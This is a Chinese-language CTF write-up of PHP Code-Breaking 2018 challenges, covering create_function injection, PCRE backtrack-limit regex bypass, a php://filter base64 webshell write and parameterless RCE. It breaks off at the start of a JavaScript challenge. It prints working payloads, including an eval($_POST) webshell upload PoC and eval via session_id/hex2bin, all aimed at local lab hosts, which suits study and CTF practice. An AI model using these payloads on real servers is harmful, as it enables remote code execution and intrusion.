thejs源码也在github里呀
https://github.com/phith0n/code-breaking/tree/master/2018/thejs
CodeBreaking : https://code-breaking.com/
在线正则表达式匹配 : https://regex101.com/
根据已有的大佬们的 wp 对 code breaking 做的一个复现,很多内容都是第一次接触,对涉及到的知识点做些总结和拓展。
create_function 注入
源码
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';
if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}
正则 /i
不区分大小写,/s
匹配任何不可见字符,包括空格,TAB,换行,/D
如果使用 $
限制结尾字符,则不允许结尾有换行
preg_match('/^[a-z0-9_]*$/isD', $action)
匹配所有字母,数字和下划线开头的字符串
想通过 fuzz 找到字符串以达到 bypass 的目的
import requests
url_start = 'http://192.168.233.132:8087/?action='
url_end = 'var_dump&arg=2'
for i in range(1,256):
i = chr(i).encode()
para = i.hex()
url = url_start + '%' + str(para) + url_end
r = requests.get(url=url)
# 不出现 error 且 不返回 index.php
if (r.headers['Content-Length'] != '279') and ('error' not in r.text):
print(para)
找到了 %5c
,即 \
,可以让 var_dump 成功执行,ph 牛给了如下的解释。接下来就是 getshell 函数的寻找,要有两个参数且第二个参数可能会导致 RCE
php 里默认命名空间是 \,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名 function_name() 调用,调用的时候其实相当于写了一个相对路径;而如果写 \function_name() 这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。
不难发现函数 create_function,官方定义如图
以如下代码为例
<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
// outputs
// New anonymous function: lambda_1
// ln(2) + ln(2.718281828459) = 1.6931471805599
?>
第一行代码等价于
eval(
function __lambda_func($a, $b){
return "ln($a) + ln($b) = " . log($a * $b);
}
)
本题就可以构造 payload : action=\create_function&arg=return 'peri0d';}var_dump(scandir('../'));/*
,然后 readfile(flag) 即可
相当于
eval(
function __lambda_func($a, $b){
return 'peri0d';}
var_dump(scandir('../')); /*
}
)
PCRE 回溯次数限制绕过正则
源码
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(empty($_FILES)) {
die(show_source(__FILE__));
}
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303);
}
上传文件,使用正则判断是否含有 php 代码,正则 /i
不区分大小写,/s
匹配任何不可见字符,包括空格,TAB,换行。
如果不含有 php 代码,上传的文件会被保存,并在 http 中重定向到文件路径
常见的正则引擎有两种,DFA 和 NFA,php 中的 PCRE 库使用的是 NFA,
假设待匹配字符串 <?php phpinfo();//aaaaa
匹配顺序如下图 :
在第四步,由于匹配的是 .*
任意多个字符,所以匹配到最后
按照正则,在 .*
后面应该是 [(`;?>]
,显然 //aaaaa
不对,所以依次吐出这几个字符,即回溯,这里总共回溯了 8 次,回溯到 ;
时 .*
匹配的是 <?php phpinfo()
,后面的 ;
符合 [(`;?>]
,所以匹配 ;
,然后正则最后的 .*
匹配到最后
php 有一个回溯上限 backtrack_limit
,默认是 1000000。如果回溯上限超过 100 万那么 preg_match 返回 false ,既不是 1 也不是 0 ,这样就可以绕过了
对应 poc :
import requests
from io import BytesIO
url = 'http://192.168.233.132:8088/index.php'
files = {
'file': BytesIO(b'<?php eval($_POST[shell]);//' + b'a'*1000000)
}
# 请求并禁止重定向
r = requests.post(url=url, files=files, allow_redirects=False)
print(r.headers)
可以获取 shell 位置,连接即可
如下一个 waf :
<?php
if(preg_match('/UNION.+?SELECT/is', $input)) {
die('SQL Injection');
}
输入 UNION/*aaaaa*/SELECT
,这个正则表达式执行流程如下
.+?
匹配 / S
匹配 ,匹配失败,回溯,由 .+?
匹配 ,成功这里也可以利用回溯次数限制绕过正则
preg_match
返回的是匹配到的次数,如果匹配不到会返回 0 ,如果报错就会返回 false 。所以,对 preg_match
来说,只要对返回结果有判断,就可以避免这样的问题
伪协议解码 base64 写入 shell
代码如下
<?php
if(isset($_GET['read-source'])) {
exit(show_source(__FILE__));
}
define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));
if(!is_dir(DATA_DIR)) {
mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);
$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
if(!empty($_POST) && $domain){
$command = sprintf("dig -t A -q %s", escapeshellarg($domain));
$output = shell_exec($command);
$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
$log_name = $_SERVER['SERVER_NAME'] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
file_put_contents($log_name, $output);
}
echo $output;
}
endif;
?>
$_SERVER['REMOTE_ADDR']
获取浏览当前页面的用户的 IP 地址,在 data 下创建文件夹,用于存储 output
$domain 和 $log 两个参数可控,$domain 用于 dig 命令,$log 用于将结果写入
在 php 中,只要是传 filename 的地方,都可以传协议流
思路就是 $log_name 处利用伪协议将 $output 处的字符串 base64 解码写入 webshell
$_SERVER['SERVER_NAME']
获取当前运行脚本所在的服务器的主机名。如果脚本运行于虚拟主机中,该名称是由那个虚拟主机所设置的值决定。这个值可以更改,由 HTTP Header 中的 Host 决定。
pathinfo()
函数过滤后缀名,但是,只要在后缀名后加上 /.
,它就获取不到后缀名了,且可以正常写入 .php
之中。php 在处理路径的时候,会递归删除掉路径中存在的 /.
php 伪协议 base64 解码中,如果遇到不合规范的字符就直接跳过。base64 解码是按照 4 位解的,所以要只有传入 4 的倍数位字符串才能解码为正常字符串,且传入的 base64 不能以 ==
结尾,==
出现在 base64 中间不符合规则,可能会无法解析
payload :
POST
Host: php
domain=YWFhYTw/cGhwIGV2YWwoJF9QT1NUWydzaGVsbCddKTsgLy8q&log=://filter/write=convert.base64-decode/resource=/var/www/html/data/daa6b8b28b2eda419112a887399ce9fc/shell.php/.
结果 :
无参 RCE
代码如下 :
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}
ciscn 2019 和 rctf 2018 的题目,统计一下这一题的解法,主要是 get_defined_vars() 和 session_id() 两个函数
preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])
,\W
匹配任意字母和数字,(?R)?
重复整个模式,?R
是 php 中的一种递归模式,合在一起类似于匹配 x(y(z()))
样式的,且不能存在参数,输入 ?code=phpinfo();
可以查看 phpinfo 页面
在 rctf 2018 的题目中使用的是 apache 的容器,在本题使用 nginx 容器,都是考虑通过修改请求头信息来实现 RCE
在 apache 中可以使用 getallheaders()
获取所有头信息,而在 nginx 中可以使用 get_defined_vars()
函数获取所有已定义的变量列表,然后就可以通过位置函数来操控数组
session_id()
可以获取 PHPSESSID,虽然 PHPSESSID 只允许字母数字和下划线出现,hex2bin
转换一下编码即可
几个 payload :
// 第一个
?code=eval(hex2bin(session_id(session_start()))); // echo 'peri0d';
Cookie: PHPSESSID=6563686f2027706572693064273b
//第二个
?code=eval(end(current(get_defined_vars())));&a=var_dump(scandir('../'));
//第三个
?code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
js 的题目,关于 javascript 的大小写特性,两个函数 toLowerCase() 和 toLowerCase()
代码如下 :
```javascript
// initial libraries
const Koa = require('koa')
const sqlite = require('sqlite')
const fs = require('fs')
const views = require('koa-views')
const Router = require('koa-router')
const send = require('koa-send')
const bodyParser = require('koa-bodyparser')
const session = require('koa-session')
const isString = require('underscore').isString
const basename = require('path').basename
const config = JSON.parse(fs.readFileSync('../config.json', {encoding: 'utf-8', flag: 'r'}))
async function main() {
const app = new Koa()